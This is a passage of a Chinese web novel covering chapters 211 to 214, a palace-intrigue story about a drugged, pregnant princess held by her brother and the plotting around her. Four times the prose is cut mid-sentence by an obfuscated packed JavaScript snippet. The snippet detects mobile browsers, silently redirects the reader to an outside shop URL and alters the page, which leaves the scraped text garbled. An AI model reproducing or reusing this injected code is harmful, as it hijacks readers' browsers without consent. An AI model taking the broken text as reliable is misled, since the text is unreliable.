虽然她们也许并不会相信她的话,可是她说的就是事实,她真的不知道晟世子会将公主带去哪里。 凤青轩和潇湘馆,北宫喆都是知道的,按理晟世子是不会去的,可是难保他不会以为最危险的地方就是最安全的地方。 “你再好好想想。” “我真的不知道。”欢凉抿了抿唇,眸光越过袭匀看向陌姑姑。 月清绝叹了口气,出了未央宫。 琼华殿。 北宫喆在殿内踱着步子,似乎心中极是烦闷,青玄站得远远地,不敢上前去碍了他的眼。 “张海,上茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666740|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 张海听到吩咐立即走了进来,北宫喆想起莺莺阁内的蒙顶茶,扫了张海一眼道:“朕要蒙顶茶。” “是。”张海心中一阵纳闷,皇上一向是喝明前龙井的,怎么今日好端端的喝起来蒙顶茶了。 半晌,北宫喆浅浅的抿着茶,指尖摩挲着杯沿,而脑海中却都是安文夕模糊的脸庞。 他掀起眼皮,看向青玄,“静华宫的事情查的如何了?” “回皇上,如今静华宫的势力已经悄无声息的伸入了大夏。” 这静华宫是南昭的邪丨教组织,为南昭皇室所不容,且多次被南昭皇室绞杀,直到十五年前才渐渐销声匿迹,没想到这两年却突然再次掀起风波。不过,这次静华宫不是祸害南昭,而是将视线放在了中原地区! 北宫喆眸光一沉,“继续盯着,狡兔不过三窟!” “是。”青玄蓦地想起什么,脸上浮起一抹震惊,“皇上不会是怀疑……” 北宫喆微不可见的点点头,然后他看了眼小盏中的茶水,没有像以前那样淡淡浅啜,而是一饮而尽。 —— 天色渐暗,点点烛光点亮了一室黑暗,昏黄的灯火在墙上拉出一道窈窕的影子。灯光下,女子肤如凝脂,眉目如画,黛眉犹如远山凝成,纤鼻朱唇,水汪汪的大眼睛透着清灵,却又沁出点点妩媚。 好一个倾国倾城的女子! 她身侧的男子,身形挺拔,俊美非凡,和她宛若一对璧人。 “香儿,慢一些。”安景晟搂着华静香的纤腰,引着她进了内室。 “晟,你将夕儿带来了么?” “带来了,就躺在榻上呢,你来看看。” 此时,灯光下的安文夕,白皙的脸上犹如镀上了一层光晕,平添几分柔和。 待华静香秋水星眸落在安文夕的脸上时,顿时吸了口凉气。 像,实在是太像了! 鼻子、嘴巴,就是那紧闭的眼睛都和那个人一模一样! 当初在凤青轩见她时,她的脸上还戴着凤公子的**,单是那双眼睛便让她微微惊讶了一把,可是她并没有深究,没想到她的真容竟然完全一样。 没有戴**也没有换脸,而世间竟有如此奇妙的事情,真是不可思议! 感觉到了她的异样,安景晟立即问道:“香儿,你怎么了?” 华静香的眸光仍旧落在安文夕脸上,微微摇了摇头。 “怎么你见了夕儿,好像很吃惊的样子。”安景晟好奇道。 华静香想了想,觉得告诉他也无妨,便将视线从安文夕脸上移到北宫喆脸上来。 “夕儿的长相倒是让我想起了一个人来。” “长相?是谁?” “你可知我大哥的太子妃?” “倒是听说过,听说在世时是位倾国倾城的美人,和太子伉俪情深。” 华静香点点头,微微掩下眼睑,掩去眼中复杂的神色。 “但是你可知我大嫂和夕儿的容貌几乎一摸一样!” 安景晟神色一震,“一模一样?” 得到再一次确认之后,他不禁喃喃道:“没想到还有这样的事情。” 第211章 讨厌至极 第二百一十一章讨厌至极 他在脑中飞快的搜罗起来,似乎当年虞皇后只生下了夕儿这一个女儿,并不是双生子,后来倒是怀了个儿子,不过难产而亡,一尸两命。 “香儿,你可知大嫂的芳龄?” 华静香顿时明白了他心中所想,说道:“我那大嫂若是还活着已是双十年华了。” 安景晟微微点头,看来是个巧合罢了。 而他身侧的华静香眸光略过安文夕安静的侧脸,眼底划过一抹幽光。 “许多事情我都对不住夕儿,我希望以后,你也不要伤害她。”安景晟眸光微敛。 “虽说她并不是你的亲妹妹,但是毕竟相处了十几年,更胜是亲兄妹。你放心,我会像亲妹妹那般待她,不会伤害她的。”华静香挽着安景晟,柔柔道。 “谢谢你,香儿。”佳人在怀,安景晟不禁拥紧了她。 华静香顺势往安景晟怀中靠去,长长的睫毛下闪过一丝难以察觉的阴狠。 这安文夕留着还有用,她现在自然不会伤害! “她睡了这么久,怎么还没有醒?” 安景晟的眸光落在了安文夕的小腹之上,淡淡道:“可能是因为有孕的缘故吧。” 他的视线慢慢移到安文夕眉心的那一抹朱红上面,微微蹙眉,他从小就十分疼爱她,实在是不想对她下药的,可是却没有办法,他稍稍叹了口气对华静香道:“香儿,那解药呢?” “在这里呢。”华静香摸过脖子里的一颗镶嵌古老玉石的项链,然后打开机关,从里面取出一粒朱色药丸。 安景晟接过了药,然后轻轻捏着安文夕的嘴巴,将药丸塞了进去。 “这药是可以给她,可是她肚子里的孩子却是不能留的,不然生下来也迟早是个祸害。”华静香温柔似水的声音响起,而她的眉眼却带着狠戾。 “香儿,这个你不说我也知道。” 他们要的是大夏的江山,那么,这个孩子一定是不能留下来的! “公主、驸马,这是宫主传来的信。” 安景晟接过信对那人道:“你退下吧。” 他匆匆浏览了一遍,然后将信递给华静香道:“你看看。” 华静香看后,脸上浮现一抹惊喜道:“还有三个月,娘亲就能出关了!” 这对他们而言,无疑是一个好消息! “宫主闭关三年,待她出关之后,功力必会大增!” “一定会的。”华静香勾起一笑笑意。 “香儿,天色不早了,我们也去歇了吧。”安景晟清淡的双眸内仿佛燃成了一团火焰。 华静香脸上顿时染上了一抹绯红,低低的靠在安景晟怀中。 “启禀公主、驸马,今日驸马带来的那个人醒了,现在正吵着要见驸马。” 那人话音刚落,安景晟的眉头高高蹙起,他看了眼华静香道:“香儿,你先回房去,我去看看,一会就回来。” “拿着这个,若是那个人不听话,喂他一粒便可。”华静香递来一只青釉小瓷瓶。 安景晟淡淡扫了眼华静香手上的小瓷瓶没有去接,“这个对那个人不管用的,等我回来。”他说完,已经撩开了步子。 这个袭匀,真是个麻烦! 华静香没有急着回房,她慢慢踱着步子重新来到安文夕榻前,幽幽的看着躺着的安文夕,然后坐在榻上,伸出纤纤玉指慢慢攀上安文夕的脸庞,一点点在移动着,尖锐的指甲一一划过安文夕的额头、眼睛、鼻子。 虽然她的指甲并没有在安文夕的皮肤上留下痕迹,但却却令人感觉一阵阴寒。 华静香死死地盯着安文夕的眉眼,原本温柔似水的双眸却好像结了一层寒冰一般,也将她柔美的脸颊冻僵。 这张脸,曾是她一度讨厌至极的! 虽然她知道这是安文夕,并不是那个女人,可是她脸上的厌恶却怎么也隐藏不去。 一旦,这个安文夕的价值利用完了,她一定要毁了这张脸! 华静香缓缓起身,出了房门,然后对门口的守卫道:“好好看着她!” 确定外面没有动静之后,安文夕这才睁开了眼睛,刚才脸上那尖锐的触感至今不曾消去。舌尖一卷,将刚才埋在舌头下面的药丸吐了出来,然后仔细放了起来。 这药,留着还有用! 接着她从袖子里拿出一盒脂粉,将眉心处的胭脂泪痣盖了下去。 其实,她早就醒了,只不过听见晟哥哥和华静香在说话便一直在装睡。 原本房间里的冷香和蒙顶茶二者相结合才会产生更大的作用,只是她没有饮茶,所以那冷香里的**作用并不大。 安文夕隐在黑暗中的双瞳又黑又亮,锐利的眸光扫向四周,这里竟十分熟悉。 她记起来了,这里是当年晟哥哥买下的宅子,后来就送给了她,前不久,她还将箐姑姑和香茗送来了这里。 她慢慢躺下了身子,想起了刚才晟哥哥和华静香的谈话。什么娘亲、宫主、闭关,她的心里隐隐的觉得有些不好的事情会发生。 她覆上自己的双颊,看来那华静香是认出自己和华宇单的太子妃长相一模一样了。 想到刚才华静香的指甲一点点的划过她的双颊,顿时一股阴寒从她的心里涌了出来,好像那华静香对着这张脸有着极大的恨意一般。那指甲非常尖利,仿佛一不小心就会将她的脸给毁了! 她微微闭上了眼睛,将最近的发生事情一点点的串起来,脑袋里飞快的掠过一抹残影,让她来不及抓住。 “咕噜……”一声清晰的响声在寂静的夜里格外突兀。 从上午她就一直没有吃饭了,如今又是双身子,不饿才怪。 可是,她现在又不能出去找吃的。安文夕覆上小腹,一下一下的抚摸着。 宝宝,娘亲对不起你,不能好好照顾你,让你跟着娘亲接连奔波。 另一处,安景晟赶到的时候,袭匀正骂骂咧咧的训斥一个守卫。 “喂,本公子说你呢,木头桩子,本公子饿了,赶紧拿来好酒好菜!” 袭匀愤愤的皱着眉,他都说了半天了,接着门口的侍卫半点表示都没有,面对他的咬牙切齿,愣是连眼皮都不眨一样,真是好素质! 安景晟蹙着眉走近,“你就别在这里白费力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667507|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,好酒好菜,你还以为你是来做客的不成?” 袭匀见安景晟进来,翻了翻白眼,一屁股坐在凳子上,翘起了二郎腿。 “你别以为我不知道,这里可是小师妹名下的宅子,我来这里,可不就是客人么?” 安景晟不屑的扫了他一眼,负手进了内室。 袭匀看见他不屑的模样顿时从凳子上站了起来,怒道:“安景晟,你今日给本公子下毒一事,本公子还没有找你算账呢!” “是你自己太蠢着了道,还要怪本世子么?” “你对我下毒也就算了,你竟然还如此对小师妹,你还有点良心么?”袭匀怒道,“她如今还有着身子,你竟对她下毒……” 说道这里,袭匀一顿,然后难以置信的看向安景晟,“那胭脂泪,不会……不会是你下的手吧!” 看着他的震惊,安景晟缓缓点了点头。 “安景晟,你个畜生,我打死你!”袭匀立即提拳砸了上来。 安景晟眸光顿时一眯,立即出手接下袭匀一拳,没想到袭匀不过是虚晃一招,然后又以迅雷不及掩耳之势冲他脸上砸下一拳。 安景晟顿时被袭匀这一拳打的嘴角出血,他手下的动作也发狠起来,一时和袭匀不相上下。 外面的守卫听到屋子里的动静,立即开门进来,见到这幅场景,纷纷提刀上前。 安景晟顿时停下手中的动作,右手一扬道:“都退下!” “世子——” “退下!” 袭匀不屑的扫了眼进来的守卫,高傲的扬起了头,睥着安景晟。 安景晟抹掉嘴角的血迹,冷冷看向袭匀。 “安景晟,真是看错你了,原来你是一个不择手段的人!”袭匀咬牙。 安景晟嘴角勾起了一个冰冷的弧度,没有说话。半晌,他转过身去,缓缓出了房门。在即将离开时,才扔下一句冰冷的话来,“我已经给她服过解药了。” “安景晟,你别走!” 袭匀怒道,就算是他给小师妹解了毒又能如何?有些印在心里的伤,可是一辈子都下不去了! 这会小师妹一定很伤心吧,袭匀想着不耐的拂了拂头发。 小师妹刚刚抚平北宫喆给她心中带来的创伤,如今又是安景晟。被最亲近的人利用、伤害,是最心痛的事情了吧。 唉……他深深地叹了一口气。 袭匀有些烦躁的在房间内徘徊着,肚子更是时不时的**,他顿时一阵火大。 “啪——” “哐当——” 室内华贵的瓷瓶碎了一地,精美的桌椅被袭匀一掌劈开,然后他不耐烦的将拦路的椅子一脚踹走。 “来人,给本公子送点吃的!” 不理他?那他就一直砸下去。 终于,房门再次被人打开,安景晟的脸在微弱的烛光下显得更加阴鸷。 他身后跟着的守卫看着这一室狼藉,微微皱眉,看向安景晟道:“世子,这……” 安景晟咬牙道:“给他送些吃的来。” “本公子要吃肉,也要喝酒,把好酒好肉都送过来!” 第212章 欺人太甚 第二百一十二章欺人太甚 “你不要得寸进尺!” 袭匀投去一个讥讽的眼神,“你将我和小师妹带来这里到底有什么目的?” 安景晟扫了他一眼,没有说话。 “难道你又想做什么见不得人的勾当?” “你以为我不敢杀你?”安景晟压抑着怒气道。 袭匀挑衅的看着他,安景晟握紧了双拳,指节阵阵发白。 “我跟你说,赶紧放了我们,不然的话……” “世子,他要的酒菜来了。” 一阵香味迎面而来,袭匀肚子里的馋虫立即开始兴风作浪。袭匀接过来吃的,怒气这才稍稍平复了一些。 安景晟懒得理他,此时已经走远。 袭匀端着酒菜,这才发现室内的可以放东西的桌椅全被他一掌劈成了渣渣。 犹豫了半晌,他将酒菜放在了床榻前的小几上。 他这个后悔啊,早知道就已经给自己留点后路的! 刚想执起筷子大快朵颐,似乎想到了什么,立即将冒着热气的酒菜包了起来,然后从窗口跃了出去。 袭匀不声不响的溜进了安文夕所在的房间,燃亮室内的蜡烛。 “小师妹,小师妹,快醒醒。”袭匀摇了摇安文夕。 安文夕本就饿得发慌睡不着,等到袭匀摇她才缓缓睁开了眼睛,做出刚醒的样子打量了眼袭匀,然后又看了看四周。 “这是?” 袭匀叹了口气,“先不说了,你饿了吧,吃饭。”袭匀说着给安文夕递了筷子。 “什么人在里面!” “砰——”外面守着的守卫粗鲁的将门打开,涌了进来。 “看什么看,是本公子!”袭匀怒气冲冲道。 “这……” “这什么这,难道还不让人吃饭不成?”袭匀漫不经心的拈起一粒花生米朝来人砸去,那人一时没有反应过来,最后才堪堪躲过。 “出去!” 那人犹豫着立在了远处。 安文夕黛眉轻挽,轻声道:“你放心,外面戒位森严,我们是逃不出去的。” 安文夕的话,才使得那几个守卫稍稍放下心来,他们退了出去并掩上了门。 “小师妹,赶紧吃吧。” 安文夕淡淡勾了勾唇,执起筷子和袭匀一起吃了起来。 “谢谢你,师兄。” “谢什么呀,都是师兄妹啊,赶紧吃吧。” 看着袭匀眼中的关切的眸光,安文夕心中一暖。 —— 慎刑司。 已经被关了将近两天的楚涵萱此时疲倦不堪,人也狼狈至极,双眸熬得红通通的,布满了血丝,挽着的高髻也有些凌乱,一头墨发沾了不少灰尘。 虽然北宫喆并没有下令对她用刑,可是如今她一身的骄傲已经被磨光了! “吃饭了,吃饭了……” 楚涵萱看了未看狱卒端来的饭菜,眸光渐冷,嘴角慢慢勾起讥讽。 就连玲珑和司琪看着那饭菜都忍不住皱着眉掩了鼻子,这两日来,除了第一次那狱卒送来的饭菜正常之外,其余的皆是些馊掉的剩菜剩饭,根本就不是人吃的! “爱吃不吃!”那狱卒见她们没有一人去接饭碗,没有好脸色的将手中端着的碗随手往地下一扔。 里面的汤汤水水一股脑的全部洒在了地上,散发着难闻的气息,楚涵萱的眉头皱的更高了。 她将近两天没有吃饭,身子也有些摇摇欲坠,有气无力的扶着木栏。可是她的眼神却分外凌厉,令那狱卒脚下发寒。 “瞪什么瞪,当心老子挖了你的眼!”那人说是这么说,可是嚣张的气焰已经弱了下去,在楚涵萱冰冷的光眸光中渐渐走远。 “公主,简直,简直是欺人太甚!”玲珑愤愤道。 楚涵萱握着木栏的指节有些发白,她已经将身上的收拾全部拿去给了那个叫做六子的狱卒,让他给北宫喆传话,可是,到现在她依然没有见到北宫喆。 不知道是那六子只拿好处不办事还是北宫喆故意不见她。 这里,根本就不是人呆的地方,她不知道自己还要在这里呆多久,她只知道她就快要被逼疯了! 这时,远处传来一阵脚步声,楚涵萱顿时一喜,难道北宫喆来了么! 北宫喆此时换下了龙袍,只着了一件月白的长袍,金冠玉带,面若冠玉宛,眉目清冷,若从画中走出来的谪仙,和这阴暗潮湿的大牢有些格格不入。 牢头殷勤的为他引路,随着他的走动,这阴森的牢房都仿佛镀上了一层金辉一般。 楚涵萱看着他一步步走近,心不受控制的狂跳起来,双手下意识地握紧木栏,怔怔的看向北宫喆。 这个宛如天神一般的男人,一如在清河之时,只需一眼就闯进了她的心,从此再也无法自拔。 北宫喆扫了眼痴痴盯着他的女人,眸光渐冷。 楚涵萱突然反应了过来,立即拂了拂鬓角的碎发,扯了扯衣摆。 “北宫喆,你这是来放我出去的么?”楚涵萱的声音带了丝惊喜,就连“本宫”的自称都被她省了去。 青玄有些同情的看了眼楚涵萱,这个女人在这里待了两天是不是傻了,皇上眉宇之间的冰冷她看不出来么? 北宫喆的眸光落在洒了一地的饭菜上,怔怔的看了片刻。 这个女人还真是金枝玉叶,受不得一点苦。 他突然想起小时候在北襄,他不得皇帝宠爱,更是经常被兄弟欺凌。他们常常打他,不给他饭吃,那时有剩菜剩饭就已经不错了,他甚至还与狗争食! 他长长的睫毛轻颤,脑海中蓦地掠过一抹小小的身影,单薄却坚韧,似乎那个小人儿也向来是隐忍不屈的。 只不过,那个身影一闪即逝,快的令他抓不住。 楚涵萱顺着他的视线看去,双眸顿时有了一抹恼意,抬眸看向北宫喆道:“你将我关在这里,要杀要剐悉听尊便,何必这样侮辱我!” “侮辱?”北宫喆黑瞳微眯,这就算是侮辱了? 楚涵萱微微一滞,厉声道:“难道不是么?” “慎刑司的饭菜都是这样,你若是不吃,那也没有办法。” “你——北宫喆,你放我出去!”楚涵萱咬牙。 “看来八公主的力气还很足。” “我……”楚涵萱咬着下唇,狠狠地瞪着北宫喆。 “告诉朕,那日你给欢凉的是什么?”北宫喆突然冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667508|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷发问。 “没……没什么。” “八公主打算一辈子待在这里么?” “若说我说了,你就能放我出去?”楚涵萱灰败的眸子顿时变得亮晶晶的。 “那得看八公主的诚意了。” 楚涵萱咬了咬牙道:“我告诉你便是,我给她的是一个锦囊,锦囊里有一封信,可是信封上面不仅没有署名,而且那封信也是张白纸,什么都没有。” “白纸?”北宫喆黑瞳骤缩,想起在未央宫铜盆里看到的那张白纸,为什么她要将那白纸放入到水中呢,而且铜盆里面的水也变成了蓝色! 看着北宫喆幽深的黑瞳,楚涵萱的心中吧嗒一声,飞快的掠过一抹疑惑,难道她说的有什么不妥么? “那锦囊谁给你的?”北宫喆紧逼道。 “这个……” 楚涵萱蓦地想起那个人对她说的话来:若是你将这件事告诉别人,后果自负! 那人说话的时候温温柔柔的,却让人一阵心悸,通体发凉。 “八公主是聪明人,事到如今,能救你的只有你自己。”青玄在一旁提醒道。 楚涵萱的心蓦地一惊,那个人根本就是让她做替死鬼罢了,她又何必替她隐瞒。 她握了握拳,像是下了决定一般,咬唇道:“是一个女人,南昭香韵公主!” 北宫喆眸光一紧,果然是她! “把你知道的全部告诉朕!” “我也是偶然认识了这香韵公主,后来聊天之时……” “重点!” 楚涵萱一愣,然后开口道:“她给了我胭脂泪,告诉我让我在你和江向晚大婚的时候给安文夕下毒,然后给了我一个锦囊说是一旦被查出来了,就将这个锦囊交给安文夕,一定会安然无恙。” 谁知,那个女人根本就是在骗她,她将锦囊给了安文夕,那安文夕可是没有将她从这慎刑司捞出去! “我手中的胭脂泪一直都放在了清秋阁,根本就还没有对安文夕下毒!”楚涵萱望着北宫喆道,“安文夕中的胭脂泪不是我下的!” “你平常都是和香韵公主在哪里见面?” “这个不确定,有时候实在外面的茶楼酒肆,有时候甚至会在宫里。” 北宫喆略略惊讶,这夏宫在暗处埋了不少暗卫,那香韵公主竟然进出如此轻松,真是让人不容小觑! “你可知道香韵公主平时都在哪里落脚?” 楚涵萱摇了摇头,“这个我就不知道了,她向来神出鬼没。” 北宫喆微微蹙了眉,看来在这里也问不出什么有用的东西来。 楚涵萱看着转身欲走的北宫喆,急忙喊道:“北宫喆,你别走,你答应的,要放我出去的!” “哦?朕可是在这里没有得到任何有用的消息。” “你——”楚涵萱顿时气得脸色发白。 “青玄,你差人将她们调去好一点的牢房,至于饭菜,按照在清秋阁的标准。”北宫喆扔下这句话,便带着左言径直出了慎刑司。 “北宫喆,算你狠!”楚涵萱恨恨咬牙。 “公主……”玲珑忙走过去搀她,这已经比现在好多了,来日方长,相信不久她们就可以从这个鬼地方出去的! 第213章 喝落胎药 第二百一十三章喝落胎药 “八公主,请吧。”青玄吩咐孙头打开了牢门。 楚涵萱眸光如同沁了一层寒霜,看也未看青玄一眼,大步迈出了牢门。 青玄带着楚涵萱去了条件更好的房间,这里不仅没有老鼠,就连被褥都是新的,宫里头还送来了换洗的衣服。更重要的是,每一餐都至少是四菜一汤,生活条件大大改善。 “公主,别生气了,我们一定很快就会出去的!”玲珑安慰道。 青玄淡淡瞥了眼主仆三人,微微摇了摇头,进了这慎刑司还想出去,只怕能让她们住的舒服点已经是皇上最大的让步了! 她三番五次谋害皇贵妃,残害皇嗣,皇上绝不会轻饶! 北宫喆回到了宫中,立在琼华殿门前仰望着满天繁星,微微出了口气。 眼前好像浮起了那个女人模糊的面庞,明明是他讨厌的女人,可是他却时不时的想起她。 不仅挂念着她,还多番奔波,只为了能够早日救出她来。他想,是因为那个女人怀着他的孩子,所以他断然不能让她流落在外! 离琼华殿不远处的长乐宫内,曹暮烟如今有了两个月的身孕,被妊娠反应折磨不堪。 沧月在一旁将剥好的葡萄递给曹暮烟,曹暮烟懒懒的接了过来,放入口中,却嫌弃道:“不酸!” “我来尝尝。”沧月给自己剥了一颗,却被酸的整张脸都皱了起来。 “酸着呢,酸着呢。” “哀家说了这不酸!”曹暮烟不悦皱眉。 “好好,这不酸,明日我让人送些更酸的来长乐宫。” “这几日,那边不得安宁呢。”曹暮烟指着未央宫的方向道。 “听说未央宫的那位失踪了,皇帝很是着急呢。”沧月说着又递过去了一粒葡萄。 “着急?”曹暮烟漫不经心道,而她的凤眸蓦地锐利起来。 “着急也是正常,虽说他不记得她了,但是毕竟肚子里头有他的孩子,更何况,皇贵妃失踪可不是件小事。” 曹暮烟微微点头。 “烟儿,你说要不要我去……” “不必,哀家可没有功夫掺和这事。” “可是,听说那安文夕中了胭脂泪呢,剩下的时间也不多了,万一……” “这没什么好担心的,那个贱丫头命硬得很呢!”曹暮烟恨恨道。 “这件事你不必管,有精力不如去琢磨琢磨如何对付那江向晚。哼,等她大婚之日,哀家一定会送她一个必生难忘的婚礼!” 那个丫头竟然想拿她做踏脚石,她必须给她点教训! 曹暮烟凤眸微眯,一道阴狠的眸光掠过眼底,如一条吐着信子的毒蛇一般令人心底发寒。 “我明白的。”沧月再次递过去一粒剥好的葡萄。 曹暮烟并没有接,而是半垂着眸光道:“密探递来消息说是已经发现了安莫霖的行踪。” 沧月闻言,脸色顿时一白,手中拈着的葡萄骨碌碌滚了下去。 曹暮烟并没有发现沧月的异常,眸光又深了几分,幽幽道:“哀家也该去找他了。” 自从那一晚,虽然她每次都在等他,可他再也没有来过。 现在她终于有了他的下落,她自然要跟过去。 就算她当初争不过莫虞,可是如今那莫虞不过是一具尸体,她难道还争不过一个**么? “烟儿……”沧月神色有些慌乱。 曹暮烟素手一扬道:“你不必多说。” “可是你肚子里的孩子……” “没事,待过了这段时间,这孕吐反应就会好多了!”曹暮烟将手放在小腹上之上,眼中掠过一抹厌恶,丝毫寻不见半分慈爱。 沧月心中顿时大惊,她这是要对腹中的孩子下手么? “烟儿,这孩子是我们好不容易才怀上的,大夫说了若是这个孩子再保不住的话,以后你就难以……难以有孕了!” “你怕什么,哀家何时说了不要他?”曹暮烟厉声道,如今看来,这个孩子的确碍事,可是毕竟是她身上的肉,虎毒尚不食子,她自然会生下来的。 沧月稍稍放下心来,问道:“你打算何时动身?” “等皇帝大婚之后,想必那晚儿进了宫会有不少有趣的事情,哀家怎么能放过这么好的机会呢。”曹暮烟巧笑连连,眸光微转,在跳跃的烛光下分外阴冷。 沧月淡淡垂眸,以往他们几乎掘地三尺,就找不到安莫霖的影子,怎么最近这么容易就发现了他的行踪? 还是说,安莫霖是故意暴露踪迹的?想到这里,沧月的眼皮突突直跳。可是,看着面前的女人那一脸笃定的模样,到嘴的话又全部咽了下去。 半晌,他对曹暮烟道:“好,到时我陪你去。” 夜色渐浓,灯火摇曳,勾勒出一室寂静。 第二日早晨,安文夕睫毛颤了颤,从睡梦中醒来。 “公主醒了。” 安文夕眸光微转,这才发现香茗正眨着水灵灵的眼睛看着她。 “公主,晟世子一早就让我来伺候公主起床。”香茗给安文夕取过衣服来伺候她更衣。 几个月没见,再见安文夕,香茗显得十分兴奋,一直围在她身边叽叽喳喳。 “公主,奴婢怎么觉得您胖了呢。” “胖了?”安文夕一滞,透过铜镜打量起自己来,原本瘦削的脸的确有了些肉。 可能,是因为怀孕的缘故吧。 安文夕洗漱之后,箐姑姑便端来了早膳,她再见安文夕不由得眼眶发红。自从上次逃出夏宫,她们已经将近半年没有见到公主了,如今看到公主安好,心中涌出一阵阵喜悦。 安文夕留下箐姑姑和香茗一起用了早膳,然后又叙了会家常。 正说着话时,香茗一拍脑门,懊恼道:“奴婢忘记了,晟世子吩咐奴婢用过早膳要给公主喝药呢,奴婢这就去将药端来。” “药?什么药?”安文夕微微挑了黛眉。 “晟世子说公主气血不好,就就差人给公主熬了药补身子。”箐姑姑笑道。 安文夕淡淡垂眸,她的身子并不需要大补啊。 思忖之间,香茗已经将药端来,笑盈盈的递给安文夕道:“公主,您趁热喝了吧。” 安文夕的眸光落在正冒着热气的要晚上,杏眸微眯。 “端来吧。” 安文夕接过药碗嗅了嗅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672464|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸色丨微变,嘴角慢慢噙起一抹苦笑,晟哥哥还是不打算放过她! 她径直将药碗放在了小几上,丝毫没有喝的意思。 箐姑姑疑惑道:“怎么了公主?” “我身体无碍,并不需要大补,这药还是不喝的好。” 虽然安文夕脸上依旧挂着笑,但是箐姑姑只觉得那笑有些冷冽。 “夕儿,你怎么能不吃药呢?”这时,传进来一声清冽的男声来。 安文夕抬眸看去,只见安景晟正抬脚迈进房门,一袭青墨色的长袍将他的俊雅勾勒的淋漓尽致。 而他的身侧,是一袭水绿长裙的华静香,乌黑的墨发挽做了高高的双云髻,上面简单的插了两支华贵非常的玉簪。 她的皮肤白嫩细腻,有一种江南女子的婉约柔美,纤纤弱柳的身姿,令人忍不住心生怜惜,大大的凤眸如同沁了秋水一般,分外灵秀。 “晟哥哥,香韵公主。” “夕儿,你叫我嫂嫂便好。”华静香嘴角噙着点点笑意。 “我不太习惯,还是称你为香韵公主吧。” 华静香不在意安文夕的冷淡,上前亲热的挽了她的手,拉着她一起坐到了软榻之上。 “随你吧,你叫什么都好。” 她的眸光有意无意的瞥向安文夕的眉心,引得安文夕疑惑道:“怎么了,我脸上有东西?” “没有,我是看着你眉心的胭脂泪痣消去了。” “我也是一大早起来发现眉心的红色不见了,想必是晟哥哥已经给我吃了解药吧。”安文夕扫了眼华静香,心中牵起冷笑,果然是在怀疑她,这个香韵公主竟比她想象中的还要多疑! 华静香淡淡点头,柔柔道:“昨晚一回来,就给你解了毒。你放心吧,那胭脂泪虽然是剧毒,但是服了解药之后,没有任何伤害的。” “如此,多谢晟哥哥了。”安文夕语气极淡,嘴角噙着的浅笑似讥似讽,刺伤了安景晟的眼睛。 他的眸光轻垂,避去了安文夕凌厉的目光,半晌他将视线放到药碗上,然后对安文夕道:“夕儿,这药得趁热喝,不然对身体可不好。” 依旧是温柔而带着宠溺的语气,让人如沐春风。 可是安文夕知道,他再也不是以前的晟哥哥了。 “晟哥哥,你当真希望我喝了它。”安文夕蓦然抬头。 安景晟双眸微眯,眸光有些复杂,令人看不清情绪。 谁知,安文夕却端着药走到窗边,将碗中的药一点点倒入一盆盆栽之中。 “夕儿——”安景晟蓦然惊呼道。 安文夕将空碗放在小几之上,嘴角微勾,抬眸对安景晟道:“晟哥哥,这药里面有艾叶吧。” 安景晟眸光一沉,没有说话。 “夕儿,你晟哥哥也是为了你好。”华静香柔柔道,声音软糯,十分好听。 “晟哥哥,我说了,我要这个孩子,我不许别人动他!” 孩子? 箐姑姑闻言立即打量了眼安文夕的小腹,怪不得她觉得公主胖了,原来是有孕了! 难道这孩子是……夏皇的? 安景晟黑瞳微缩,忙上前一步,“夕儿……” 第214章 相互利用 第二百一十四章相互利用 “晟哥哥不要多说了,我是不会改变主意的。”安文夕脸色丨微冷,转过了身子。 她从没有想到有一天她和晟哥哥之间会变成这个样子。 “夕儿,听说月无双也中了胭脂泪,你难道不想要解药了么?”华静香巧笑道。 安文夕蓦地一震,冰冷的眸光看向华静香,只见女子眼中噙着笑意,红唇轻启道:“只要喝了落胎药,我这就遣人去夏宫送药。” 安文夕只觉得眼前女子的柔美的脸颊沁了点点冰霜,阴冷可怖。 她微微握了双拳,厉声道:“都出去,出去!” 她的身子因为怒吼而微微颤抖,狠狠地瞪着安景晟和华静香二人。 